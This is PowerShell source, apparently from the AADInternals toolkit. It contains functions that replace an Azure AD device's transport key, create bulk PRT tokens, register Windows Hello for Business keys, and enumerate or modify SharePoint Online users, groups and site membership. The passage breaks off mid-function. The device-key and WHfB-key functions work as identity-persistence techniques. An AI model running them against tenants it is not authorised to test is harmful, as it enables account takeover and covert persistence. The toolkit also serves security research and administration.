TKPUB. .Parameter PfxFileName The full path to .pfx file from where to load the certificate .Parameter PfxPassword The password of the .pfx file .Parameter JsonFile The full path to .json file containing TKPUB information exported using Get-AADIntDeviceTransportKey .Parameter UseBuiltInCertificate Uses the internal any.sts certificate .EXAMPLE Get-AADIntAccessTokenForAADGraph -SaveToCache PS C\:>Set-AADIntDeviceTransportKey -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -UseBuiltInCertificate #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$DeviceId, [Parameter(Mandatory=$False)] [String]$ObjectId, [Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)] [switch]$UseBuiltInCertificate, [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [string]$PfxPassword, [Parameter(ParameterSetName='JSON',Mandatory=$True)] [string]$JsonFileName ) Process { if([string]::IsNullOrEmpty($ObjectId) -and [string]::IsNullOrEmpty($DeviceId)) { Write-Error "ObjectId or DeviceId required!" return } # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" if($JsonFileName) # JSON file { $json = Get-Content $JsonFileName -Encoding UTF8 | ConvertFrom-Json $hash = $json.hash $thumpPrint = $json.thumpPrint $keyMaterial = $json.keyMaterial } else { if($UseBuiltInCertificate) # Do we use built-in certificate (any.sts) { [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password "" } elseif($Certificate -eq $null) # Load the certificate { [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword } # Create a SHA256 object and calculate hash $sha256 = [System.Security.Cryptography.SHA256]::Create() $certHash = $sha256.ComputeHash($Certificate.GetPublicKey()) $hash = $(Convert-ByteArrayToB64 -Bytes $certHash) # Get the parameters from the certificate and create key material $parameters = $Certificate.PublicKey.Key.ExportParameters($false) $keyMaterial = @{ "kty" = "RSA" "n" = Convert-ByteArrayToB64 -Bytes $parameters.Modulus "e" = Convert-ByteArrayToB64 -Bytes $parameters.Exponent "alg" = "RS256" "kid" = (New-Guid).ToString() } $thumpPrint = $Certificate.Thumbprint } Write-Verbose "New key material $(($keyMaterial | ConvertTo-Json -Compress))" $kMat = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.getBytes( ($keyMaterial | ConvertTo-Json -Compress) )) $parsedToken = Read-Accesstoken -AccessToken $AccessToken $tenantId = $parsedToken.tid $headers=@{ "Authorization" = "Bearer $AccessToken" "Accept" = "application/json;odata=nometadata" } # Get the object Id if not given if([string]::IsNullOrEmpty($ObjectId)) { $ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken } # Get the current key information $response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/$tenantId/devices/$ObjectId`?`$select=deviceKey,alternativeSecurityIds&api-version=1.61-internal" -Headers $headers Write-Verbose "Current key material: $(Convert-B64ToText -B64 $response.deviceKey[0].keyMaterial)" if([String]::IsNullOrEmpty($response)) { Write-Error "The device $DeviceId has no deviceKey, unable to change." return } # Set the new key $response.deviceKey[0].keyMaterial = $kMat # Set also the alternative security id to match the key. # The documentation states that the hash should be SHA1 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dvre/1f2ebba7-7783-42c4-982a-ce9ca76af949 # but the length equals SHA256 so we are using that instead. $key = "X509:<SHA1-TP-PUBKEY>$thumpPrint$hash" $key = Convert-ByteArrayToB64 -Bytes ([text.encoding]::Unicode.GetBytes($key)) $response.alternativeSecurityIds[0].key = $key Invoke-RestMethod -UseBasicParsing -Method Patch -Uri "https://graph.windows.net/$tenantId/devices/$ObjectId`?api-version=1.61-internal" -Headers $headers -Body ($response | ConvertTo-Json) -ContentType "application/json" } } # Creates a new BPRT # Oct 20th 2020 function New-BulkPRTToken { <# .SYNOPSIS Creates a new BPRT (Bulk AAD PRT Token) .DESCRIPTION Creates a new BPRT (Bulk AAD PRT Token) for registering multiple devices to AAD. Adds a corresponding user to Azure AD with UPN "package_<guid>@<default domain>". The Display Name of the user can be defined. .Parameter AccessToken Access token to create the BPRT .Parameter Expires The date when the BPRT expires. Maximum is 180 days. .Parameter Name The display name of the user to be created. Defaults to "package_<guid>". The upn will always be "package_<guid>@<default domain>". .Parameter PackageId Package Id of the previously created BPRT. Overwrites the existing user object and creates a new BPRT. If not found, a new one is created. .EXAMPLE Get-AADIntAccessTokenForAADGraph -Resource urn:ms-drs:enterpriseregistration.windows.net -SaveToCache PS C:\> New-AADIntBulkPRTToken -Name "My BPRT user" BPRT saved to package_8eb8b873-2b6a-4d55-bd96-27b0abadec6a-BPRT.json #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [DateTime]$Expires=(Get-Date).AddMonths(1), [Parameter(Mandatory=$False)] [ValidateLength(1, 256)] [String]$Name, [Parameter(Mandatory=$False)] [guid]$PackageId=(New-Guid), [switch]$Force ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "urn:ms-drs:enterpriseregistration.windows.net" -Force $Force $headers = @{ "Authorization" = "Bearer $AccessToken" } if([string]::IsNullOrEmpty($Name)) { $Name = "package_$($PackageId.ToString())" } $body = @{ "pid" = $PackageId.ToString() "name" = $Name "exp" = $Expires.ToString("MM/dd/yyyy") } # Make the first request to get flowToken $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/webapp/bulkaadjtoken/begin" -Headers $headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=utf-8" if($response.state -like "*Error*") { $resultData = $response.resultData | ConvertFrom-Json throw $resultData.error_description } # Get the BPRT $response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://login.microsoftonline.com/webapp/bulkaadjtoken/poll?flowToken=$($response.flowToken)" -Headers $headers $details = $response.resultData | ConvertFrom-Json # Check for the errors if($details.error_description) { if($details.error -eq "unauthorized_client") { Write-Warning "Got unauthorized_client error. Please try again." } elseif($details.error_description.StartsWith("AADSTS90092")) { # Missing Microsoft.Azure.SyncFabric service principal? try { if([string]::IsNullOrEmpty((Get-ServicePrincipals -ClientIds "00000014-0000-0000-c000-000000000000").value)) { Write-Warning "Missing Microsoft.Azure.SyncFabric service principal!" Write-Warning "Use Add-AADIntSyncFabricServicePrincipal to add the missing service principal." } } catch{} # Okay } throw $details.error_description } $parsedIdToken = Read-Accesstoken -AccessToken $details.id_token $userName = $parsedIdToken.upn Write-Verbose "BPRT successfully created. Id = $guid. User name: $userName" # Write to file $outFileName = "$($userName.Split("@")[0])-BPRT.json" $details | ConvertTo-Json |Set-Content $outFileName -Encoding UTF8 Write-Host "BPRT saved to $outFileName`n" return $details.refresh_token } } # Add WHfB key # May 5th 2023 function Set-DeviceWHfBKey { <# .SYNOPSIS Sets a Windows Hello for Business (WHfB) key of the device. .DESCRIPTION Sets a Windows Hello for Business (WHfB) key of the device. Device information is included in the PRT token given as a parameter. .Parameter AccessToken Access token to register the WHfB key. .Parameter Certificate x509 certificate which private key is used as WHfB key. If not provided, a new WHfB key is created. .Parameter PfxFileName File name of the .pfx certificate which private key is used as WHfB key. If not provided, a new WHfB key is created. .Parameter PfxPassword The password of the .pfx certificate which private key is used as WHfB key. .EXAMPLE PS C:\> $prttoken = Get-AADIntUserPRTToken PS C:\> Get-AADIntAccessTokenForWHfB -PRTToken $prttoken -SaveToCache PS C:\> Set-AADIntDeviceWHfBKey Device Window Hello for Business key successfully added to the user: DeviceId: b27db620-2673-4dac-a565-cec81bfafbaa Key Id: a07b4c9c-1515-4d79-9ce2-7f7954049adf UPN: [email protected] Key file name : "b27db620-2673-4dac-a565-cec81bfafbaa_a07b4c9c-1515-4d79-9ce2-7f7954049adf_user@company.com_whfb.pem" .EXAMPLE PS C:\> Get-AADIntAccessTokenForAADJoin -SaveToCache PS C:\> Join-AADIntDeviceToAzureAD -JoinType Join -DeviceName "My device" Device successfully registered to Azure AD: DisplayName: "My device" DeviceId: b27db620-2673-4dac-a565-cec81bfafbaa ObjectId: 4fbbb5f6-1563-4237-974c-dfabcc5c533c TenantId: 01a09bec-7584-45a5-8048-e7f1b4181f20 Cert thumbprint: 593E3D7F8F8CE0DB74725EE3B5AC1B5F58D92994 Cert file name : "b27db620-2673-4dac-a565-cec81bfafbaa.pfx" Local SID: S-1-5-32-544 Additional SIDs: S-1-12-1-1173396554-1264637767-1283444156-383767028 S-1-12-1-727559687-1332680371-478291341-2778853572 S-1-12-1-1337701878-1110906211-2883538071-1012096204 PS C:\> $prtkeys = Get-AADIntUserPRTKeys -PfxFileName .\b27db620-2673-4dac-a565-cec81bfafbaa.pfx Keys saved to b27db620-2673-4dac-a565-cec81bfafbaa.json PS C:\> $prttoken = New-AADIntUserPRTToken -Settings $prtkeys PS C:\> Get-AADIntAccessTokenForWHfB -PRTToken $prttoken -SaveToCache PS C:\> Set-AADIntDeviceWHfBKey -PfxFileName .\b27db620-2673-4dac-a565-cec81bfafbaa.pfx Device Window Hello for Business key successfully added to the user: DeviceId: b27db620-2673-4dac-a565-cec81bfafbaa Key Id: a07b4c9c-1515-4d79-9ce2-7f7954049adf UPN: [email protected] #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(Mandatory=$False)] [string]$PfxFileName, [Parameter(Mandatory=$False)] [string]$PfxPassword ) Process { # Get access token from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "dd762716-544d-4aeb-a526-687b73838a22" -Resource "urn:ms-drs:enterpriseregistration.windows.net" # Check that we have the required claims $parsedAccessToken = Read-Accesstoken -AccessToken $AccessToken if([string]::IsNullOrEmpty($parsedAccessToken.DeviceID)) { throw "DeviceID claim not present in the access token." } if($parsedAccessToken.amr -notcontains "ngcmfa") { throw "ngcmfa claim not present in the access token." } # Load the certificate if not provided if(!$Certificate) { # Load only if we have file name if($PfxFileName) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } } # Use the private key of provided certificate if($Certificate) { # Get the private key and use it's parameters $privateKey = Load-PrivateKey -Certificate $Certificate $RSAParameters = $privateKey.ExportParameters($true) Unload-PrivateKey -PrivateKey $privateKey } # Create key pair if not provided if($RSAParameters -eq $null) { $RSAParameters = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048).ExportParameters($true) } # Create the public key blob $keyBlob = New-KeyBLOB -Parameters $RSAParameters -Type RSA1 # Create the headers and body $headers = @{ "Authorization" = "Bearer $AccessToken" "Accept" = "application/json" } $body = @{ "kngc" = Convert-ByteArrayToB64 -Bytes $keyBlob } # Make the request try { $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/key/?api-version=1.0" -Headers $headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=utf-8" } catch { throw ($_.ErrorDetails.Message | ConvertFrom-Json).error.message } # Check whether we have private key if($RSAParameters.P) { # Write the private key to a file if not using provided certificate if(-not $Certificate) { $fileName = "$($parsedAccessToken.DeviceId)_$($response.kid)_$($response.upn)_whfb.pem" Set-Content $fileName -Value (Convert-RSAToPEM -RSAParameters $RSAParameters) } } else { Write-Warning "The given RSAParameters didn't have private key - unable to save to a file." } Write-Host "Device Window Hello for Business key successfully added to the user:" Write-Host " DeviceId: $($parsedAccessToken.DeviceId)" Write-Host " Key Id: $($response.kid)" Write-Host " UPN: $($response.upn)" if(-not $Certificate) { Write-Host " Key file name : `"$fileName`"" } } }
SPO.ps1
AADInternals-0.9.4
# Functions for SharePoint Online # Jul 17th 2019 function Get-SPOSiteGroups { <# .SYNOPSIS Gets list of groups of SharePoint Online site .DESCRIPTION Gets list of groups of SharePoint Online site the user has access to. .Parameter Site Url of the SharePoint site .Parameter AuthHeader SharePoint Online authentication header .Example PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com PS C:\>Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com/sales -AuthHeader $auth #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [Parameter(Mandatory=$False)] [String]$AuthHeader, [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { # Check the site url if($Site.EndsWith("/")) { $Site=$Site.Substring(0,$Site.Length-1) } $siteDomain=$Site.Split("/")[2] if(![string]::IsNullOrEmpty($AuthHeader)) { # Create a WebSession object $siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource $site -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $headers=@{ "Authorization" = "Bearer $AccessToken" } } # Invoke the request $response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/web/sitegroups" -Method Get -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers if($response.StatusCode -eq 200) { [xml]$response=$response.Content $users=New-Object System.Collections.ArrayList # Loop through the entries foreach($entry in $response.feed.entry) { $attributes = @{} $attributes["Id"] = $entry.content.properties.Id.'#Text' $attributes["IsHiddenInUI"] = $entry.content.properties.IsHiddenInUI.'#Text' -eq "true" $attributes["LoginName"] = $entry.content.properties.LoginName $attributes["Title"] = $entry.content.properties.Title $attributes["PrincipalType"] = $entry.content.properties.PrincipalType.'#Text' $attributes["OwnerTitle"] = $entry.content.properties.OwnerTitle $attributes["Description"] = $entry.content.properties.Description.'#Text' $attributes["AllowMembersEditMembership"] = $entry.content.properties.AllowMembersEditMembership.'#Text' -eq "true" $attributes["AllowRequestToJoinLeave"] = $entry.content.properties.AllowRequestToJoinLeave.'#Text' -eq "true" $attributes["AutoAcceptRequestToJoinLeave"] = $entry.content.properties.AutoAcceptRequestToJoinLeave.'#Text' -eq "true" $attributes["OnlyAllowMembersViewMembership"] = $entry.content.properties.OnlyAllowMembersViewMembership.'#Text' -eq "true" $users+=New-Object PSObject -Property $attributes } # Return return $users } } } # Jul 17th 2019 function Get-SPOSiteUsers { <# .SYNOPSIS Gets list of users of SharePoint Online site .DESCRIPTION Gets list of users of SharePoint Online site the user has access to. .Parameter Site Url of the SharePoint site .Parameter AuthHeader SharePoint Online authentication header .Example PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com PS C:\>Get-AADIntSPOSiteUsers -Site https://company.sharepoint.com/sales -AuthHeader $auth #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [Parameter(Mandatory=$False)] [String]$AuthHeader, [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { $Site=$Site.TrimEnd("/") $tenant=$Site.Split("/")[2] if(![string]::IsNullOrEmpty($AuthHeader)) { # Create a WebSession object $siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $headers=@{ "Authorization" = "Bearer $AccessToken" } } # Invoke the request $response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/web/siteusers" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue if($response.StatusCode -eq 200) { [xml]$response=$response.Content $users=New-Object System.Collections.ArrayList # Loop through the entries foreach($entry in $response.feed.entry) { $attributes = @{} $attributes["Id"] = $entry.content.properties.Id.'#Text' $attributes["IsHiddenInUI"] = $entry.content.properties.IsHiddenInUI.'#Text' -eq "true" $attributes["LoginName"] = $entry.content.properties.LoginName $attributes["Title"] = $entry.content.properties.Title $attributes["PrincipalType"] = $entry.content.properties.PrincipalType.'#Text' $attributes["Email"] = $entry.content.properties.Email $attributes["IsEmailAuthenticationGuestUser"] = $entry.content.properties.IsEmailAuthenticationGuestUser.'#Text' -eq "true" $attributes["IsShareByEmailGuestUser"] = $entry.content.properties.IsShareByEmailGuestUser.'#Text' -eq "true" $attributes["IsSiteAdmin"] = $entry.content.properties.IsSiteAdmin.'#Text' -eq "true" $attributes["NameId"] = $entry.content.properties.UserId.NameId $attributes["NameIdIssuer"] = $entry.content.properties.UserId.NameIdIssuer if($entry.content.properties.UserPrincipalName.GetType().Name -eq "String") { $attributes["UserPrincipalName"] = $entry.content.properties.UserPrincipalName } else { $attributes["UserPrincipalName"] = "" } $users+=New-Object PSObject -Property $attributes } # Return return $users } } } # Jul 18th 2019 function Get-SPOUserProperties { <# .SYNOPSIS Gets properties of SharePoint Online user .DESCRIPTION Gets properties of SharePoint Online user using PeopleManager API .Parameter Site Url of the SharePoint site .Parameter User SharePoint Online authentication header .Parameter AuthHeader LoginName of the user in format "i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint" .Example PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com PS C:\>Get-AADIntSPOUserProperties -Site https://company.sharepoint.com/sales -AuthHeader $auth -User "i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint" #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [Parameter(Mandatory=$True)] [String]$UserName, [Parameter(Mandatory=$False)] [String]$AuthHeader, [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { # Check the site url $Site=$Site.Trim("/") $UserName=$UserName.Replace("#","%23") $siteDomain=$Site.Split("/")[2] $tenant = $siteDomain.Split(".")[0] # Check the username format if(!$UserName.StartsWith("i")) { $UserName="i:0%23.f|membership|$UserName" } if(![string]::IsNullOrEmpty($AuthHeader)) { # Create a WebSession object $siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $headers=@{ "Authorization" = "Bearer $AccessToken" } } # Invoke the request $response=Invoke-WebRequest2 -Uri "$Site/_api/sp.userprofiles.peoplemanager/getpropertiesfor(@v)?@v='$UserName'" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue if($response.StatusCode -eq 200) { [xml]$response=$response.Content $entry=$response.entry $attributes = [ordered]@{} $attributes["Updated"] = $response.entry.Updated $attributes["Author"] = $response.entry.Author.Name $properties = $response.entry.content.properties $attributes["AccountName"] = $properties.AccountName $attributes["DirectReports"] = Create-ListFromCollection $properties.DirectReports $attributes["DisplayName"] = $properties.DisplayName $attributes["Email"] = $properties.Email $attributes["ExtendedManagers"] = Create-ListFromCollection $properties.ExtendedManagers $attributes["ExtendedReports"] = Create-ListFromCollection $properties.ExtendedReports $attributes["IsFollowed"] = $properties.IsFollowed -eq "true" #$attributes["LatestPost"] = $properties.LatestPost $attributes["Peers"] = Create-ListFromCollection $properties.Peers #$attributes["PersonalSiteHostUrl"] = $properties.PersonalSiteHostUrl $attributes["PersonalUrl"] = [System.Net.WebUtility]::UrlDecode($properties.PersonalUrl) $attributes["PictureUrl"] = [System.Net.WebUtility]::UrlDecode($properties.PictureUrl) $attributes["UserUrl"] = [System.Net.WebUtility]::UrlDecode($properties.UserUrl) $attributes["Title"] = $properties.Title # Loop through the userprofile fields foreach($up in $properties.UserProfileProperties.Element) { $name = $up.Key $value = $up.Value $attributes[$name] = $value } # Return New-Object PSObject -Property $attributes } } } # Jun 10th 2020 function Get-SPOSiteUserProperties { <# .SYNOPSIS Gets the SPO user properties .DESCRIPTION Gets the SPO user properties .Parameter Site Url of the SharePoint site .Parameter AuthHeader SharePoint Online authentication header .Parameter AccessToken SharePoint Online Access Token .Example PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com PS C:\>Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com/sales -AuthHeader $auth .Example PS C:\>$at=Get-AADIntAccessTokenForSPO PS C:\>Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com/sales -AccessToken $at #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [Parameter(Mandatory=$True)] [String]$UserName, [Parameter(Mandatory=$False)] [String]$AuthHeader, [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { # Check the site url if($Site.EndsWith("/")) { $Site=$Site.Substring(0,$Site.Length-1) } $siteDomain=$Site.Split("/")[2] # Check the username format if(!$UserName.StartsWith("i")) { $UserName="i:0%23.f|membership|$UserName" } if(![string]::IsNullOrEmpty($AuthHeader)) { # Create a WebSession object $siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $headers=@{ "Authorization" = "Bearer $AccessToken" } } # Invoke the request $response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/SP.UserProfiles.PeopleManager/GetPropertiesFor(accountName=@v)?@v='$UserName'" -Method Get -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers if($response.StatusCode -eq 200) { # Get the response [xml]$response=$response.Content # Create the attributes varialbe $attributes=@{} # Loop through the elements foreach($element in $response.entry.content.properties.UserProfileProperties.element) { $key=$element.Key $value=$element.Value $attributes[$key] = $value } # Sort by the key $attributes_sorted=[ordered]@{} $entries = $attributes.GetEnumerator() | Sort-Object Key foreach($entry in $entries) { $attributes_sorted[$entry.Name]=$entry.Value } # Return return New-Object psobject -Property $attributes_sorted } } } # Jun 10th 2020 function Set-SPOSiteUserProperty { <# .SYNOPSIS Sets the SPO user property .DESCRIPTION Sets the SPO user property .Parameter Site Url of the SharePoint site .Parameter AuthHeader SharePoint Online authentication header .Parameter AccessToken SharePoint Online Access Token .Parameter Property Property name .Parameter Value Property value .Example PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com PS C:\>Set-AADIntSPOUserProperty -Site https://company.sharepoint.com/sales -AuthHeader $auth -UserName [email protected] -Property "AboutMe" -Value "I'm a happy SPO user!" .Example PS C:\>$at=Get-AADIntAccessTokenForSPO PS C:\>Set-AADIntSPOUserProperty -Site https://company.sharepoint.com/sales -AccessToken $at -UserName [email protected] -Property "AboutMe" -Value "I'm a happy SPO user!" #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [Parameter(Mandatory=$True)] [String]$UserName, [Parameter(Mandatory=$False)] [String]$AuthHeader, [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$Property, [Parameter(Mandatory=$False)] [String]$Value ) Process { # Get the digest #$digest = Get-SPODigest -AccessToken $AccessToken -Cookie $Cookie -Site $Site # Set the headers $headers=@{ # "X-RequestDigest" = $digest } # Check the site url if($Site.EndsWith("/")) { $Site=$Site.Substring(0,$Site.Length-1) } $siteDomain=$Site.Split("/")[2] # Check the username format if(!$UserName.StartsWith("i")) { $UserName="i:0#.f|membership|$UserName" } if(![string]::IsNullOrEmpty($AuthHeader)) { # Create a WebSession object $siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $headers["Authorization"] = "Bearer $AccessToken" } # Create the body $body=@{ "accountName" = "$UserName" "propertyName" = $Property "propertyValue" = $Value } # Invoke the request $response=Invoke-WebRequest2 -Uri "$Site/_api/SP.UserProfiles.PeopleManager/SetSingleValueProfileProperty" -Method Post -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers -ContentType "application/json" -Body ($body | ConvertTo-Json) if($response.StatusCode -eq 200) { # All good, nothing to return :) } } } function Get-SPOSettings { <# .SYNOPSIS Gets SharePoint Online settings .DESCRIPTION Gets SharePoint Online settings .Parameter AccessToken SharePoint Online Access Token .Parameter Tenant The tenant name of the organization, ie. company.onmicrosoft.com -> "company" .Example PS C:\>Get-AADIntAccessTokenForSPO -Admin -SaveToCache -Tenant company PS C:\>Get-AADIntSPOSettings -Tenant Company _ObjectType_ : Microsoft.Online.SharePoint.TenantAdministration.Tenant _ObjectIdentity_ : 4b09819f-80c3-b000-9cfe-8c850fbea6d5|908bed80-a04a-4433-b4a0-883d9847d110:908c17b8-5ebe-450c-9073-15e52aa1739b Tenant AIBuilderEnabled : False AIBuilderSiteInfoList : {} AIBuilderSiteList : {} AIBuilderSiteListFileName : AllowCommentsTextOnEmailEnabled : True AllowDownloadingNonWebViewableFiles : True AllowedDomainListForSyncClient : {} AllowEditing : True AllowGuestUserShareToUsersNotInSiteCollection : False AllowLimitedAccessOnUnmanagedDevices : False AllowSelectSGsInODBListInTenant : AnyoneLinkTrackUsers : False ApplyAppEnforcedRestrictionsToAdHocRecipients : True BccExternalSharingInvitations : False ... #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$Tenant ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant-admin.sharepoint.com/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $body=@" <Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="Javascript Library"> <Actions> <ObjectPath Id="1" ObjectPathId="0" /> <Query Id="2" ObjectPathId="0"> <Query SelectAllProperties="true"> <Properties /> </Query> </Query> </Actions> <ObjectPaths> <Constructor Id="0" TypeId="{268004ae-ef6b-4e9b-8425-127220d84719}" /> </ObjectPaths> </Request> "@ $headers=@{ "Authorization" = "Bearer $AccessToken" } # Invoke the request $response=Invoke-RestMethod -UseBasicParsing -Uri "https://$Tenant-admin.sharepoint.com/_vti_bin/client.svc/ProcessQuery" -Method Post -Body $body -Headers $headers if($response.count -gt 4) { $response[4] } } } # Oct 1st 2022 by Sapir Fed function Set-SPOSiteMembers { <# .SYNOPSIS Add a member into a site (also adding the member to the correlated Azure AD group) .DESCRIPTION Add a member into a site (also adding the member to the correlated AzureAD group) .Parameter Site Url of the SharePoint site .Parameter AuthHeader SharePoint Online authentication header .Parameter SiteName Name of the specific site on SharePoint .Parameter UserPrincipalName UserPrincipalName of the AzureAD user you wish to add to the site .Example PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com PS C:\>Set-AADIntSPOSiteMembers -Site https://company.sharepoint.com -AuthHeader $auth -SiteName CompanyWiki -UserPrincipalName [email protected] User [email protected] was added to group CompanyWiki! #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [Parameter(Mandatory=$True)] [String]$AuthHeader, [Parameter(Mandatory=$True)] [String]$SiteName, [Parameter(Mandatory=$True)] [String]$UserPrincipalName ) Process { # Check the site url if($Site.EndsWith("/")) { $Site=$Site.Substring(0,$Site.Length-1) } $siteDomain=$Site.Split("/")[2] # Create a WebSession object $siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain # Invoke the request tp get groupId and digest $response=Invoke-WebRequest2 -Uri "$($Site)/sites/$($siteName)?sw=auth" -Method GET -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers # Validate response $baseContent = $response.BaseResponse if($baseContent.StatusCode -eq "OK" -and $baseContent.ResponseUri -eq "$($Site)/sites/$($siteName)?sw=auth") { $requestContent = $response.Content # Parse digest $tempValue = $requestContent -match 'formDigestValue":"(.*?")' $digestTemp = $Matches[1] $digest = $digestTemp.Split('"')[0] $newheaders=@{ "X-RequestDigest" = $digest } # Parse groupId $tempValue = $requestContent -match 'groupId":"(.*?")' $groupidTemp = $Matches[1] $groupid = $groupidTemp.Split('"')[0] # Invoke the request to add a member to the SharePoint site $newresponse=Invoke-WebRequest2 -Uri "$($Site)/sites/$($siteName)/_api/SP.Directory.DirectorySession/Group('$($groupid)')/Members/Add(objectId='00000000-0000-0000-0000-000000000000', principalName='$($UserPrincipalName)')" -Method POST -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $newheaders -ContentType "application/json" # Validate response if($newresponse.StatusCode -eq 201 -and $newresponse.StatusDescription -eq "Created") { Write-Host "User $($UserPrincipalName) was added to group $($siteName)!" } else { Write-Error "Cannot Add user to the group." } } else { Write-Error "An error occurred while executing the request to the site." } } } # Gets information of the given file from the given site # Nov 28th 2022 function Get-SPOSiteFile { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [Parameter(Mandatory=$False)] [PSObject]$Id, [Parameter(Mandatory=$False)] [String]$RelativePath, [Parameter(Mandatory=$False)] [String]$AuthHeader, [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [Switch]$Download ) Process { if($Id -eq $null -and [string]::IsNullOrEmpty($RelativePath)) { Throw "Either file Id or RelativePath must be provided" } $Site=$Site.TrimEnd("/") $tenant=$Site.Split("/")[2] $webUrl = "https://$tenant" if(![string]::IsNullOrEmpty($AuthHeader)) { # Create a WebSession object $siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken 